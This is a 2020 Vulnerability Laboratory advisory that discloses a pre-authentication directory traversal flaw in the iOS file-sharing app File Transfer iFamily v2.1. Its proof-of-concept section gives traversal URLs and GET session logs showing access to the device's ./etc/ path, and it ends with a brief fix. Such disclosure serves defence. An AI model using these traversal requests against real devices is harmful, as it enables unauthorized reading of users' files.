File Transfer iFamily version 2.1 suffers from a directory traversal vulnerability.
ebddbc353e67d87cba2b2731cac974d1Document Title:
===============
File Transfer iFamily v2.1 - Directory Traversal Vulnerability
References (Source):
====================
https://www.vulnerability-lab.com/get_content.php?id=2199
Release Date:
=============
2020-04-14
Vulnerability Laboratory ID (VL-ID):
====================================
2199
Common Vulnerability Scoring System:
====================================
7.1
Vulnerability Class:
====================
Directory- or Path-Traversal
Current Estimated Price:
========================
1.000€ - 2.000€
Product & Service Introduction:
===============================
Send photos, videos and documents to other devices without Internet. A
complete application to exchange files
wirelessly between devices. It uses the Multipeer Connectivity Framework
to search and connect to available devices,
without the need of internet connection or any kind of server and database.
(Copy of the Homepage:
https://apps.apple.com/us/app/file-transfer-ifamily-files-photo-video-documents-wifi/id957971575
)
Abstract Advisory Information:
==============================
The vulnerability laboratory core research team discovered a directory
traversal web vulnerability in the official File Transfer iFamily v2.1
ios mobile application.
Affected Product(s):
====================
DONG JOO CHO
Product: File Transfer iFamily v2.1 - iOS Mobile Web Application
Vulnerability Disclosure Timeline:
==================================
2020-04-14: Public Disclosure (Vulnerability Laboratory)
Discovery Status:
=================
Published
Exploitation Technique:
=======================
Remote
Severity Level:
===============
High
Authentication Type:
====================
Pre auth - no privileges
User Interaction:
=================
No User Interaction
Disclosure Type:
================
Independent Security Research
Technical Details & Description:
================================
A directory traversal web vulnerability has been discovered in the
official File Transfer iFamily v2.1 ios mobile application.
The vulnerability allows remote attackers to change the application path
in performed requests to compromise the local application
or file-system of a mobile device. Attackers are for example able to
request environment variables or a sensitive system path.
The directory-traversal web vulnerability is located in the main
application path request performed via GET method. Attackers are
able to request for example the local ./etc/ path of the web-server by
changing the local path in the performed request itself.
In a first request the attack changes the path, the host redirects to
complete the adress with "..". Then the attacker just
attaches a final slash to its request and the path can be accessed via
web-browser to download local files.
Exploitation of the directory traversal web vulnerability requires no
privileged web-application user account or user interaction.
Successful exploitation of the vulnerability results in information
leaking by unauthorized file access and mobile application compromise.
Proof of Concept (PoC):
=======================
The directory traversal vulnerability can be exploited by attackers with
access to the wifi interface in a local network without user interaction.
For security demonstration or to reproduce the security vulnerability
follow the provided information and steps below to continue.
PoC: Exploitation
http://localhost/../../../../../../../../../../../../../../../../../../../../../../
http://localhost//../
--- PoC Session Logs [GET]] ---
http://localhost/../../../../../../../../../../../../../../../../../../../../../../
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0)
Gecko/20100101 Firefox/75.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Upgrade-Insecure-Requests: 1
-
GET: HTTP/1.1 200 OK
Accept-Ranges: bytes
Content-Length: 2521
-
http://localhost../etc/
Host: localhost..
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0)
Gecko/20100101 Firefox/75.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Upgrade-Insecure-Requests: 1
- add slash to correct host adress (/.././)
http://localhost/./
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0)
Gecko/20100101 Firefox/75.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Upgrade-Insecure-Requests: 1
- Access granted
http://localhost/../../../../../../../../../../../../../../../../../../../../../../
GET: HTTP/1.1 200 OK
Accept-Ranges: bytes
Content-Length: 2521
Solution - Fix & Patch:
=======================
The vulnerability can be patched by a restriction of the visible and
accessable ./etc/ path in the app container.
Disallow path changes in the client-side get method requests and
validate them securely.
Security Risk:
==============
The security risk of the directory travsersal web vulnerability in the
ios mobile application is estimated as high.
Credits & Authors:
==================
Vulnerability-Lab -
https://www.vulnerability-lab.com/show.php?user=Vulnerability-Lab
Benjamin Kunz Mejri -
https://www.vulnerability-lab.com/show.php?user=Benjamin%20K.M.
Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without
any warranty. Vulnerability Lab disclaims all warranties,
either expressed or implied, including the warranties of merchantability
and capability for a particular purpose. Vulnerability-Lab
or its suppliers are not liable in any case of damage, including direct,
indirect, incidental, consequential loss of business profits
or special damages, even if Vulnerability-Lab or its suppliers have been
advised of the possibility of such damages. Some states do
not allow the exclusion or limitation of liability for consequential or
incidental damages so the foregoing limitation may not apply.
We do not approve or encourage anybody to break any licenses, policies,
deface websites, hack into databases or trade with stolen data.
Domains: www.vulnerability-lab.com www.vuln-lab.com
www.vulnerability-db.com
Services: magazine.vulnerability-lab.com
paste.vulnerability-db.com infosec.vulnerability-db.com
Social: twitter.com/vuln_lab facebook.com/VulnerabilityLab
youtube.com/user/vulnerability0lab
Feeds: vulnerability-lab.com/rss/rss.php
vulnerability-lab.com/rss/rss_upcoming.php
vulnerability-lab.com/rss/rss_news.php
Programs: vulnerability-lab.com/submit.php
vulnerability-lab.com/register.php
vulnerability-lab.com/list-of-bug-bounty-programs.php
Any modified copy or reproduction, including partially usages, of this
file requires authorization from Vulnerability Laboratory.
Permission to electronically redistribute this alert in its unmodified
form is granted. All other rights, including the use of other
media, are reserved by Vulnerability-Lab Research Team or its suppliers.
All pictures, texts, advisories, source code, videos and other
information on this website is trademark of vulnerability-lab team & the
specific authors or managers. To record, list, modify, use or
edit our material contact (admin@ or research@) to get a ask permission.
Copyright © 2020 | Vulnerability Laboratory - [Evolution
Security GmbH]™
--
VULNERABILITY LABORATORY - RESEARCH TEAM
SERVICE: www.vulnerability-lab.com